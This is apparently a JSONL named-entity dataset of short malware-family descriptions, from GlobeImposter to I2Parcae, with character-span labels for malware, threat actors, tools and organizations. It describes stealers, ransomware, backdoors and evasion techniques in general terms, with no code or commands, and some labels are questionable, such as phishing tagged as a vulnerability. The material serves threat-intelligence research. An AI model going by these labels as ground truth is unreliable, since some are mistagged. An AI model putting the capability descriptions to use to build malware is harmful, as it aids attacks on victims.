+{"text": "GlobeImposter is a ransomware application which is mainly distributed via \"blank slate\" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family.\r\nThis malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.", "spans": {"MALWARE: GlobeImposter": [[0, 13], [225, 238]]}, "info": {"source": "apt_reports", "name": "GlobeImposter"}}
+{"text": "Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.", "spans": {"MALWARE: Glupteba": [[0, 8], [118, 126]]}, "info": {"source": "apt_reports", "name": "Glupteba"}}
+{"text": "Proof of concept for data exfiltration via DoH, written in Go.", "spans": {"SYSTEM: Go": [[59, 61]]}, "info": {"source": "apt_reports", "name": "goDoH"}}
+{"text": "GodRAT shares a common origin with AwesomePuppet RAT, alongside Gh0st RAT code similarities. GodRAT is likely connected with Winnty APT activities.\r\n\r\nOld implant codebases, such as Gh0st RAT, which are nearly two decades old, continue to be used today. These are often customized and rebuilt to target a wide range of victims. These old implants are known to have been used by various threat actors for a long time, and the GodRAT discovery demonstrates that legacy codebases like Gh0st RAT can still maintain a long lifespan in the cybersecurity landscape.", "spans": {"MALWARE: GodRAT": [[0, 6], [93, 99], [425, 431]], "MALWARE: Gh0st RAT": [[64, 73], [182, 191], [482, 491]]}, "info": {"source": "apt_reports", "name": "GodRAT"}}
+{"text": "A file infector written in Go, discovered by Karsten Hahn in February 2022. According to Karsten, despite its internal naming, it is not polymorphic and the virus body is not encrypted. Gofing uses the Coldfire Golang malware development library.", "spans": {"MALWARE: Gofing": [[186, 192]], "SYSTEM: Go": [[27, 29]]}, "info": {"source": "apt_reports", "name": "Gofing"}}
+{"text": "According to Symantec, a previously unseen backdoor that was deployed against a media organization in South Asia in November, 2023. GoGra is written in Go and uses the Microsoft Graph API to interact with a command-and-control (C&C) server hosted on Microsoft mail services.", "spans": {"MALWARE: GoGra": [[132, 137]], "SYSTEM: Symantec": [[13, 21]], "SYSTEM: Go": [[152, 154]], "ORGANIZATION: Microsoft": [[168, 177], [250, 259]]}, "info": {"source": "apt_reports", "name": "GoGra"}}
+{"text": "GolanGhost is a RAT written in Go. It uses C2 to receive commands and exfiltrate data such as browser information targeting especially installed cryptocurrency wallets.\r\n\r\nIt is often used in ClickFix campaigns by North-Korean threat actors.", "spans": {"SYSTEM: Go": [[31, 33]]}, "info": {"source": "apt_reports", "name": "GolangGhost"}}
+{"text": "According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.\r\n\r\nOne of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing “Intelligent Tax,” a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.\r\n\r\nAlthough it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.", "spans": {"MALWARE: GoldenSpy": [[24, 33]], "SYSTEM: Windows": [[723, 730]]}, "info": {"source": "apt_reports", "name": "GoldenSpy"}}
+{"text": "Gold Max is a Golang written command and control backdoor used by the NOBELIUM threat actor group. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running.", "spans": {}, "info": {"source": "apt_reports", "name": "GoldMax"}}
+{"text": "GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.\r\n\r\nThe malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server.", "spans": {"MALWARE: GoldDragon": [[0, 10], [369, 379]], "TOOL: PowerShell": [[134, 144]], "VULNERABILITY: phishing": [[282, 290]], "VULNERABILITY: spear phishing": [[276, 290]]}, "info": {"source": "apt_reports", "name": "GoldDragon"}}
+{"text": "Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called \"th3darkly / lucifer\" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.", "spans": {}, "info": {"source": "apt_reports", "name": "Gomorrah stealer"}}
+{"text": "The malware consists of a dropper DLL and an obfuscated, password protected VbaProject.OTM file, which houses macros written for Microsoft Outlook. The malware was originally written by Greg Linares as a backdoor POC called Cordyceps, and presented at Hushcon in 2017.", "spans": {"MALWARE: Cordyceps": [[224, 233]], "SYSTEM: Outlook": [[139, 146]], "SYSTEM: Microsoft Outlook": [[129, 146]], "ORGANIZATION: Microsoft": [[129, 138]]}, "info": {"source": "apt_reports", "name": "GONEPOSTAL"}}
+{"text": "Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjects received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept  HTTPx requests and responses, steal their content or modify it according to the webinjects.", "spans": {"MALWARE: Gootkit": [[0, 7], [492, 499]]}, "info": {"source": "apt_reports", "name": "GootKit"}}
+{"text": "According to Elastic, this is a rewrite of Quasar RAT in Go.", "spans": {"TOOL: Quasar RAT": [[43, 53]], "SYSTEM: Go": [[57, 59]], "ORGANIZATION: Elastic": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Gosar"}}
+{"text": "According to ESET Research, GoToHTTP is a benign tool that allows establishing a remote connection that can be accessed from a browser. It has been observed being abused for malicious purposes by threat actor GhostRedirector.", "spans": {"MALWARE: GoToHTTP": [[28, 36]], "THREAT_ACTOR: GhostRedirector": [[209, 224]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "GoToHTTP"}}
+{"text": "2000 Ursnif aka Snifula\r\n2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n-> 2010 Gozi Prinimalka -> Vawtrak/Neverquest\r\n\r\nIn 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed.\r\nIt was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.", "spans": {"MALWARE: Gozi": [[30, 34], [41, 45], [69, 73], [80, 84], [119, 123], [169, 173], [181, 185], [302, 306], [456, 460], [597, 601], [693, 697], [730, 734], [745, 749], [761, 765]], "MALWARE: CRM": [[46, 49], [51, 54], [186, 189], [196, 199], [602, 605]], "MALWARE: Gozi CRM": [[41, 49], [181, 189], [597, 605]], "MALWARE: Papras": [[56, 62], [206, 212]], "MALWARE: Snifula": [[16, 23], [376, 383], [534, 541]], "MALWARE: Ursnif": [[5, 11], [365, 371], [523, 529]], "MALWARE: Gozi ISFB": [[80, 89], [761, 770]], "MALWARE: Pandemyia": [[97, 106], [787, 796]], "MALWARE: Pony": [[683, 687]], "MALWARE: ISFB": [[85, 89], [91, 95], [766, 770], [777, 781]]}, "info": {"source": "apt_reports", "name": "Gozi"}}
+{"text": "Grager is a backdoor deployed against three organizations in Taiwan, Hong Kong, and Vietnam in April 2024. Analysis of this backdoor revealed that it uses the Graph API to communicate with a command and control (C&C) server hosted on Microsoft OneDrive. The backdoor decrypts a client ID and refresh token for OneDrive from a blob contained within its file body. It supports the following commands:\r\n\r\n- Retrieve machine information, including machine name, user, IP address, and machine architecture\r\n- Download or upload a file\r\n- Execute a file\r\n- Gather file system information, including available drives, their sizes, and types of drives", "spans": {"MALWARE: Grager": [[0, 6]], "ORGANIZATION: Microsoft": [[234, 243]]}, "info": {"source": "apt_reports", "name": "Grager"}}
+{"text": "According to ESET Research, Grandoreiro is a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. As such, it shows unusual effort by its authors to evade detection and emulation, and progress towards a modular architecture.", "spans": {"MALWARE: Grandoreiro": [[28, 39]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Grandoreiro"}}
+{"text": "According to Checkpoint Research, GRAPELOADER is a newly observed initial-stage tool used for fingerprinting, persistence, and payload delivery. Despite differing roles, it shares similarities in code structure, obfuscation, and string decryption with WINELOADER. GRAPELOADER refines WINELOADER’s anti-analysis techniques while introducing more advanced stealth methods.", "spans": {"MALWARE: GRAPELOADER": [[34, 45], [264, 275]]}, "info": {"source": "apt_reports", "name": "GRAPELOADER"}}
+{"text": "PANW Unit 42 describes this malware as capable of up and downloading files as well as loading additional shellcode payloads into selected target processes. It uses the Microsoft Graph API and Dropbox API as C&C channel.", "spans": {"ORGANIZATION: Microsoft": [[168, 177]], "ORGANIZATION: Unit 42": [[5, 12]]}, "info": {"source": "apt_reports", "name": "GraphDrop"}}
+{"text": "This loader abuses the benign service Notion for data exchange.", "spans": {}, "info": {"source": "apt_reports", "name": "GraphicalNeutrino"}}
+{"text": "According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican’s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.", "spans": {"MALWARE: Graphican": [[23, 32], [163, 172], [258, 267]], "THREAT_ACTOR: APT15": [[62, 67], [156, 161]], "SYSTEM: Symantec": [[13, 21]], "ORGANIZATION: Microsoft": [[281, 290]], "MALWARE: BS2005": [[134, 140]], "MALWARE: Ketrican": [[77, 85], [209, 217]]}, "info": {"source": "apt_reports", "name": "Graphican"}}
+{"text": "Downloader / information stealer used by UAC-0056, observed since at least October 2022.", "spans": {}, "info": {"source": "apt_reports", "name": "Graphiron"}}
+{"text": "Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.", "spans": {"MALWARE: Graphite": [[18, 26]], "TOOL: Empire": [[166, 172]], "ORGANIZATION: Microsoft": [[50, 59]], "ORGANIZATION: Trellix": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Graphite"}}
+{"text": "This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).", "spans": {"THREAT_ACTOR: SaintBear": [[154, 163]], "SYSTEM: Go": [[123, 125]]}, "info": {"source": "apt_reports", "name": "GraphSteel"}}
+{"text": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.", "spans": {"ORGANIZATION: VirusTotal": [[708, 718]]}, "info": {"source": "apt_reports", "name": "Grateful POS"}}
+{"text": "According to Mandiant, GRAYRABBIT is a lightweight and simple backdoor that supports simple file operation, system information collection, running modularized plugins, and executing a remote command shell.", "spans": {"MALWARE: GRAYRABBIT": [[23, 33]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "GRAYRABBIT"}}
+{"text": "This information-stealing malware exfiltrates data from its victims and uploads this information to its web server for publication. It can capture data from browsers, the clipboard and the local disk to steal sensitive data such as credit card details, browser cookies, crypto wallet information, File Transfer Protocol (FTP) and virtual private network (VPN) credentials.", "spans": {"SYSTEM: VPN": [[355, 358]]}, "info": {"source": "apt_reports", "name": "Gremlin"}}
+{"text": "A malware that modifies every JPG file found on a computer by adding a string in its bottom corner spelling out 'I am Sorry'. \r\n\r\nGrenam is a companion virus, which is a form of file infection. It infects by prepending the letter 'g' in front of host files and placing itself with the original name of the host.", "spans": {"MALWARE: Grenam": [[130, 136]]}, "info": {"source": "apt_reports", "name": "Grenam"}}
+{"text": "This is a proxy-aware HTTP backdoor that is implemented as a service and uses the compromised system's proxy settings to access the internet. C&C traffic is base64 encoded and the files sent to the server are compressed with aPLib.", "spans": {}, "info": {"source": "apt_reports", "name": "GRILLMARK"}}
+{"text": "GRIMAGENT is a backdoor that can execute arbitrary commands, download files, create and delete scheduled tasks, and execute programs via scheduled tasks or via the ShellExecute API. The malware persists via a randomly named scheduled task and a registry Run key. The backdoor communicates to hard-coded C&C servers via HTTP requests with portions of its network communications encrypted using both asymmetric and symmetric cryptography. GRIMAGENT was used during some Ryuk Ransomware intrusions in 2020.", "spans": {"MALWARE: GRIMAGENT": [[0, 9], [437, 446]], "MALWARE: Ryuk": [[468, 472]]}, "info": {"source": "apt_reports", "name": "GRIMAGENT"}}
+{"text": "This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).", "spans": {"THREAT_ACTOR: SaintBear": [[154, 163]], "SYSTEM: Go": [[123, 125]]}, "info": {"source": "apt_reports", "name": "GrimPlant"}}
+{"text": "According to PCrisk, Growtopia (also known as CyberStealer) is an information stealer written in the C# programming language. It can obtain system information, steal information from various applications, and capture screenshots. Its developer claims that it has created this software for educational purposes only. This stealer uses the name of a legitimate online game.", "spans": {"MALWARE: Growtopia": [[21, 30]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Growtopia"}}
+{"text": "A malware family with a DGA.", "spans": {}, "info": {"source": "apt_reports", "name": "GSpy"}}
+{"text": "According to haxrob, GTPDOOR is the name of Linux based malware that is intended to be deployed on systems in telco networks adjacent to the GRX (GRPS eXchange Network) with the novel feature of communicating C2 traffic over GTP-C (GPRS Tunnelling Protocol - Control Plane) signalling messages. This allows the C2 traffic to blend in with normal traffic and to reuse already permitted ports that maybe open and exposed to the GRX network.", "spans": {"MALWARE: GTPDOOR": [[21, 28]], "SYSTEM: Linux": [[44, 49]]}, "info": {"source": "apt_reports", "name": "GTPDOOR"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Gwisin"}}
+{"text": "Browser information stealer, written in Go.", "spans": {"SYSTEM: Go": [[40, 42]]}, "info": {"source": "apt_reports", "name": "HackBrowserData"}}
+{"text": "Py2Exe based tool as found on github.", "spans": {}, "info": {"source": "apt_reports", "name": "HackSpy"}}
+{"text": "According to PCrisk, Hades Locker is an updated version of WildFire Locker ransomware that infiltrates systems and encrypts a variety of data types using AES encryption. Hades Locker appends the names of encrypted files with the \".~HL[5_random_characters] (first 5 characters of encryption password)\" extension.", "spans": {"MALWARE: Hades": [[21, 26], [170, 175]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Hades"}}
+{"text": "Hakbit ransomware is written in .NET. It uploads (some) files to be encrypted to a ftp-server.\r\nThe ransom note is embedded - in earlier versions as plain string, then as base64 string. In some versions, these strings are slightly obfuscated.\r\n\r\nContact is via an email address hosted on protonmail. Hakbit (original) had hakbit@, more recent \"KiraLock\" has kiraransom@ (among others of course).", "spans": {"MALWARE: Hakbit": [[0, 6], [300, 306]], "TOOL: ftp": [[83, 86]], "SYSTEM: .NET": [[32, 36]]}, "info": {"source": "apt_reports", "name": "Hakbit"}}
+{"text": "Ransomware written in C#.", "spans": {}, "info": {"source": "apt_reports", "name": "Hakuna Matata"}}
+{"text": "A stager used by APT29 to deploy CobaltStrike.", "spans": {"THREAT_ACTOR: APT29": [[17, 22]], "TOOL: CobaltStrike": [[33, 45]]}, "info": {"source": "apt_reports", "name": "HALFRIG"}}
+{"text": "Hancitor(aka Chanitor) emerged in 2013 which spread via social engineering techniques mainly through phishing mails embedded with malicious link and weaponized Microsoft office document contains malicious macro in it.", "spans": {"MALWARE: Hancitor": [[0, 8]], "MALWARE: Chanitor": [[13, 21]], "ORGANIZATION: Microsoft": [[160, 169]], "VULNERABILITY: phishing": [[101, 109]]}, "info": {"source": "apt_reports", "name": "Hancitor"}}
+{"text": "According to Intezer, this is a second stage loader written in Delphi.", "spans": {"ORGANIZATION: Intezer": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Handala"}}
+{"text": "According to Intezer, this is a wiper.", "spans": {"ORGANIZATION: Intezer": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Hatef"}}
+{"text": "Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as \"Dragonfly\" and \"Energetic Bear\". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.\r\n\r\nOnce installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.\r\n\r\nHavex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.", "spans": {"THREAT_ACTOR: Energetic Bear": [[250, 264]], "SYSTEM: DCOM": [[1186, 1190]], "MALWARE: Dragonfly": [[234, 243]]}, "info": {"source": "apt_reports", "name": "Havex RAT"}}
+{"text": "First released in October 2022, the Havoc C2 Framework is a flexible post-exploitation framework written in Golang, C++, and Qt, with agents called 'Demons' written in C and ASM, created by @C5pider. Designed to support red team engagements and adversary emulation, it offers a robust set of capabilities tailored for offensive security operations. The framework, which is under active development, utilizes HTTP(s) and SMB as communication protocols for its implants. Havoc can generate implants, known as Demons, in several formats including EXE, DLL, and Shellcode. A notable feature of Havoc is its ability to bypass EDR by employing advanced evasion techniques such as sleep obfuscation, return address stack spoofing, and indirect syscalls. This capability enhances its effectiveness in evading detection and circumventing security measures.", "spans": {"TOOL: Havoc": [[36, 41], [469, 474], [590, 595]], "SYSTEM: SMB": [[420, 423]]}, "info": {"source": "apt_reports", "name": "Havoc"}}
+{"text": "HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.", "spans": {"MALWARE: HAWKBALL": [[0, 8], [118, 126]], "SYSTEM: Windows": [[201, 208]]}, "info": {"source": "apt_reports", "name": "HAWKBALL"}}
+{"text": "HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal credentials from numerous applications but, in the last observed versions, new \"loader capabilities\" have been spotted. It is sold by its development team on dark web markets and hacking forums.", "spans": {"MALWARE: HawKeye": [[0, 7]], "ORGANIZATION: IBM X-Force": [[69, 80]], "ORGANIZATION: X-Force": [[73, 80]], "ORGANIZATION: IBM": [[69, 72]], "VULNERABILITY: keylogger": [[13, 22]], "VULNERABILITY: phishing": [[110, 118]]}, "info": {"source": "apt_reports", "name": "HawkEye Keylogger"}}
+{"text": "HDMR is a ransomware which encrypts user files and adds a .DMR64 extension. It also drops a ransom note named: \"!!! READ THIS !!!.hta\".", "spans": {"MALWARE: HDMR": [[0, 4]]}, "info": {"source": "apt_reports", "name": "HDMR"}}
+{"text": "The Chinese threat actor \"Scarab\" is using a custom backdoor dubbed \"HeaderTip\" according to SentinelLABS. This malware may be the successor of \"Scieron\".", "spans": {"MALWARE: HeaderTip": [[69, 78]], "THREAT_ACTOR: Scarab": [[26, 32]], "MALWARE: Scieron": [[145, 152]]}, "info": {"source": "apt_reports", "name": "HeaderTip"}}
+{"text": "Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.", "spans": {"MALWARE: HelloKitty": [[19, 29]], "SYSTEM: Windows": [[113, 120]]}, "info": {"source": "apt_reports", "name": "HelloKitty"}}
+{"text": "According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called \"empntdrv.sys\" which is associated with the legitimate Software \"EaseUS Partition Master Software\" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. \r\nThis malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.", "spans": {"MALWARE: HermeticWiper": [[27, 40]], "SYSTEM: Windows": [[327, 334]]}, "info": {"source": "apt_reports", "name": "HermeticWiper"}}
+{"text": "On August 9th, 2024, the HexaLocker team advertised a new Windows ransomware on its Telegram channel. The message included a demonstration video and text promoting a Golang ransomware that implements a proprietary algorithm.", "spans": {"MALWARE: HexaLocker": [[25, 35]], "SYSTEM: Windows": [[58, 65]], "SYSTEM: Telegram": [[84, 92]]}, "info": {"source": "apt_reports", "name": "HexaLocker"}}
+{"text": "HiddenTear is an open source ransomware developed by a Turkish programmer and later released as proof of concept on GitHub. The malware generates a local symmetric key in order to encrypt a configurable folder (/test was the default one) and it sends it to a centralized C&C server. Due to its small payload it was used as real attack vector over email phishing campaigns. Variants are still used in attacks.", "spans": {"MALWARE: HiddenTear": [[0, 10]], "SYSTEM: GitHub": [[116, 122]], "VULNERABILITY: phishing": [[353, 361]]}, "info": {"source": "apt_reports", "name": "HiddenTear"}}
+{"text": "According to FireEye, HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service.", "spans": {"MALWARE: HIGHNOON": [[22, 30], [246, 254]], "SYSTEM: Windows": [[290, 297]], "ORGANIZATION: FireEye": [[13, 20]], "VULNERABILITY: rootkit": [[136, 143], [206, 213]]}, "info": {"source": "apt_reports", "name": "HIGHNOON"}}
+{"text": "According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelgänging, DLL Search Order Hijacking, and Heaven's Gate. It has been observed to store its malicious payload in the IDAT chunk of PNG file format.", "spans": {"ORGANIZATION: Rapid7": [[13, 19]]}, "info": {"source": "apt_reports", "name": "HijackLoader"}}
+{"text": "A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware.", "spans": {"MALWARE: HILDACRYPT": [[62, 72]]}, "info": {"source": "apt_reports", "name": "HILDACRYPT"}}
+{"text": "Hive is a strain of ransomware that was first discovered in June 2021. Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe.\r\nIn 2022 there was a switch from GoLang to Rust.", "spans": {"MALWARE: Hive": [[0, 4], [71, 75]], "SYSTEM: Rust": [[329, 333]]}, "info": {"source": "apt_reports", "name": "Hive"}}
+{"text": "Adware, tied to eGobbler and Nephos7 campaigns,", "spans": {}, "info": {"source": "apt_reports", "name": "Holcus Installer (Adware)"}}
+{"text": "a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.", "spans": {"SYSTEM: NTLM": [[335, 339]], "SYSTEM: Windows": [[9, 16]], "MALWARE: AIRBREAK": [[91, 99]], "MALWARE: BADFLICK": [[104, 112]]}, "info": {"source": "apt_reports", "name": "homefry"}}
+{"text": "Hopscotch is part of the Regin framework.", "spans": {"MALWARE: Hopscotch": [[0, 9]], "MALWARE: Regin": [[25, 30]]}, "info": {"source": "apt_reports", "name": "Hopscotch"}}
+{"text": "According to Check Point Research, this is a custom-built agent for Mythic, the open-source red teaming C2 framework. Written in C++, the implant shows no significant overlap with known C-based Mythic agents, aside from commonalities in the generic logic related to Mythic C2 communications.", "spans": {"TOOL: Mythic": [[68, 74], [194, 200], [266, 272]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Horus"}}
+{"text": "Remote Acess Tool Written in VB.NET.", "spans": {}, "info": {"source": "apt_reports", "name": "HorusEyes RAT"}}
+{"text": "Warsaw trojan is a new banking trojan based on the Hours Eyes RAT core engine.", "spans": {"MALWARE: Warsaw": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Horus Eyes RAT"}}
+{"text": "HOTWAX is a module that upon starting imports all necessary system API functions, and searches for a .CHM file. HOTWAX decrypts a payload using the Spritz algorithm with a hard-coded key and then searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process.", "spans": {"MALWARE: HOTWAX": [[0, 6], [112, 118]]}, "info": {"source": "apt_reports", "name": "HOTWAX"}}
+{"text": "Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.", "spans": {"MALWARE: Houdini": [[0, 7], [243, 250]], "MALWARE: Kognito": [[275, 282]], "MALWARE: WSHRAT": [[196, 202]]}, "info": {"source": "apt_reports", "name": "Houdini"}}
+{"text": "Cisco Talos states that HTTPSnoop is a simple, yet effective, backdoor that consists of novel techniques to interface with Windows HTTP kernel drivers and devices to listen to incoming requests for specific HTTP(S) URLs and execute that content on the infected endpoint.", "spans": {"MALWARE: HTTPSnoop": [[24, 33]], "SYSTEM: Cisco": [[0, 5]], "SYSTEM: Windows": [[123, 130]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "HTTPSnoop"}}
+{"text": "The HTTP(S) uploader is a Lazarus tool responsible for data exfiltration, by using the HTTP or HTTPS protocols.\r\n\r\nIt accepts up to 10 command line parameters: a 29-byte decryption key, a C&C for data exfiltration, the name of a local RAR split volume, the name of the multivolume archive on the server side, the size of a RAR split (max 200,000 kB), the starting index of a split, the ending index of a split, and the switch -p with a proxy IP address and port", "spans": {"MALWARE: HTTP(S) uploader": [[4, 20]], "TOOL: RAR": [[235, 238], [323, 326]]}, "info": {"source": "apt_reports", "name": "HTTP(S) uploader"}}
+{"text": "A loader that has been used by multiple threat actor groups since 2015.", "spans": {}, "info": {"source": "apt_reports", "name": "HUI Loader"}}
+{"text": "Emerging in Q3 2023 as a Ransomware-as-a-Service (RaaS) operation, Hunters International has established itself as a distinct yet controversial threat actor in the cybercrime ecosystem. While initial analysis revealed a code overlap with the dismantled Hive ransomware, the group claims independence, asserting it purchased Hive’s source code rather than directly rebranding. This operational lineage enables advanced double-extortion campaigns prioritizing data exfiltration over encryption, with confirmed theft of medical records, financial data, and proprietary business information. The group's ransomware is written in Rust, a programming language favored for its resilience to reverse engineering and cross-platform compatibility.", "spans": {"MALWARE: Hunters International": [[67, 88]], "SYSTEM: Rust": [[625, 629]], "MALWARE: Hive": [[253, 257], [324, 328]]}, "info": {"source": "apt_reports", "name": "Hunters International"}}
+{"text": "HyperBro is a RAT that has been observed to target primarily within the gambling industries, though it has been spotted in other places as well. The malware typically consists of 3 or more components: a) a genuine loader typically with a signed certification b) a malicious DLL loader loaded from the former component via DLL hijacking c) an encrypted and compressed blob that decrypts to a PE-based payload which has its C2 information hardcoded within.", "spans": {"MALWARE: HyperBro": [[0, 8]], "VULNERABILITY: DLL hijacking": [[322, 335]]}, "info": {"source": "apt_reports", "name": "HyperBro"}}
+{"text": "Sideloader used by EmissaryPanda", "spans": {}, "info": {"source": "apt_reports", "name": "HyperSSL"}}
+{"text": "According to Cofense, this malware is notable for having several unique tactics, techniques, and procedures (TTPs), such as Secure Email Gateway (SEG) evasion by proxying emails through legitimate infrastructure, fake CAPTCHAs, abusing hardcoded Windows functionality to hide dropped files, and C2 capabilities over Invisible Internet Project (I2P), a peer-to-peer anonymous network with end-to-end encryption. Upon installation, I2Parcae is capable of disabling Windows Defender, enumerating Windows Security Accounts Manager (SAM) for accounts/groups, stealing browser cookies, and remote access to infected hosts. As of November 2024, I2Parcae appears to be delivered via automated spam messages targeting customer support contact forms on multiple websites. The messages deliver an embedded link purporting to be pornography.", "spans": {"MALWARE: I2Parcae": [[430, 438], [638, 646]], "SYSTEM: Windows Defender": [[463, 479]], "SYSTEM: Windows": [[246, 253], [463, 470], [493, 500]], "ORGANIZATION: Cofense": [[13, 20]]}, "info": {"source": "apt_reports", "name": "I2PRAT"}}
